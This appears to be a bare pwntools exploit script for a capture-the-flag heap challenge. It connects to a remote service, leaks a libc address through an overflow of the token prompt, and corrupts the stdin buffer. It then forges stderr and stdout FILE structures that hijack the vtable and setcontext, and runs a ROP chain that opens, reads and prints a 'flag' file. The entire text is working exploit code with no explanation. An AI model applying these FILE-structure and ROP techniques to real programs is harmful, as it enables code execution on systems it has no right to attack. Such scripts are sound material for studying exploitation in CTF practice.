1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * from filep import Filep
context( terminal=['kitty'], os='linux', arch='amd64', log_level='debug', ) libc = ELF('./libc.so.6')
io = remote('0.0.0.0', 70) io.sendafter(b'token: ', b'a' * 0x28) io.recvuntil(b'a' * 0x28) libc.address = u64(io.recv(0x6).ljust(0x8, b'\x00')) - 0xADDAE print(hex(libc.address))
stdin = Filep(libc.address + 0x2038E0) stdout = Filep(libc.address + 0x2045C0) stderr = Filep(libc.address + 0x2044E0)
io.sendlineafter(b'Choice', b'1') pause() io.sendlineafter(b'Size', (str(stdin._IO_buf_base.address + 1)).encode()) pause() io.sendafter(b'Content', b'a')
pause() io.send(p64(stderr.address - 2) * 4 + p64(stdout.address + 0xE8)) pause() io.sendlineafter(b'Choice', b'')
setcontext = libc.address + 0x4A99D io_wfile_jumps = libc.address + 0x202228 io_switch_to_wget_mode = libc.address + 0x8AFC0
rax = libc.address + 0xdd237 rdi = libc.address + 0x10F78B rsi = libc.address + 0x110A7D rcx = libc.address + 0xA877E rdx = libc.address + 0xB503C syscall = libc.address + 0x98FB6
fake_stderr = flat( { 0x18 - 0x10: 0x0, 0x20 - 0x10: p64(stderr.address - 0x10), 0x88 - 0x10: p64(0x200), 0xA0 - 0x10: p64(stdout.address + 0x50), 0xA8 - 0x10: p64(rdi), 0xE0 - 0x10: p64(stdout.address), }, filler=b'\x00', length=0xE0, )
fake_stdout = flat( { 0x0: 0xDEADBEEF, 0x18: p64(setcontext), 0x20: b'flag' + b'\x00' * 4, 0x50: p64(0x0), 0x58: p64(rsi), 0x60: p64(stdout.address + 0x70), 0x68: p64(syscall), stdout._wide_data.offset : p64(stderr.address - 0x10), stdout.vtable.offset: p64(io_wfile_jumps + 0x10), }, filler=b'\x00', )
pause() io.sendlineafter(b'Choice', b'2') io.sendlineafter(b'Index: ', b'1\n' + fake_stderr + fake_stdout)
flag_addr = stdout.address + 0x20
pause() rop = flat( rdi, -100, rsi, flag_addr, rdx, 0x0, 0x0, 0x0, 0x0, 0x0, rax, 0x101, rcx, 0x0, syscall,
rdi, 0x3, rsi, flag_addr, rdx, 0x100, 0x0, 0x0, 0x0, 0x0, rax, 0x0, syscall,
rdi, 0x1, rsi, flag_addr, rdx, 0x100, 0x0, 0x0, 0x0, 0x0, rax, 0x1, syscall, ) io.send(rop)
io.interactive()
|